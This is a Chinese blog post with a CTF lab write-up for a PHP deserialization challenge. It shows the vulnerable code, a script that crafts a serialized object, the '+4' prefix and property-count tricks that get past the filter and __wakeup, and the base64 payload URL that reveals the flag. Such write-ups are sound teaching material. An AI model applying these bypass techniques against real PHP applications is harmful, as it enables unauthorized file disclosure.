攻防世界- Web_php_unserialize

Web_php_unserialize

积分2金币2

175最佳Writeup由 mortals 提供WriteUP

收藏

反馈

难度:2

方向:Web

题解数:55

解出人数:11706

题目来源: CTF

题目描述: 暂无

题目场景:

http://61.147.171.105:60401

100%

倒计时: 34917

延时删除场景

题目已回答正确

image-20221023215207429

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 
} 
?>
<!-- http://61.147.171.105:60401/ -->

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
// if (isset($_GET['var'])) { 
//     $var = base64_decode($_GET['var']); 
//     if (preg_match('/[oc]:\d+:/i', $var)) { 
//         die('stop hacking!'); 
//     } else {
//         @unserialize($var); 
//     } 
// } else { 
//     highlight_file("index.php"); 
// } 

$obj=new Demo("fl4g.php");
$str=serialize($obj);
echo $str,PHP_EOL;
$str=str_replace('O:4','O:+4',$str);
$str=str_replace(':1:',':2:',$str);
echo $str;
echo base64_encode($str);
?>

                                                      
┌──(kwkl㉿kwkl)-[~/HODL]
└─$ cd adworld/web/unsel 
                                                      
┌──(kwkl㉿kwkl)-[~/HODL/adworld/web/unsel]
└─$ ls     
1.php
                                                      
┌──(kwkl㉿kwkl)-[~/HODL/adworld/web/unsel]
└─$ php 1.php 
<!-- http://61.147.171.105:60401/ -->

O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
                                                      
┌──(kwkl㉿kwkl)-[~/HODL/adworld/web/unsel]
└─$ php 1.php
<!-- http://61.147.171.105:60401/ -->

O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

解答:

http://61.147.171.105:60401/?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

<?php
$flag="ctf{b17bd4c7-34c9-4526-8fa8-a0794a197013}";
?>
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值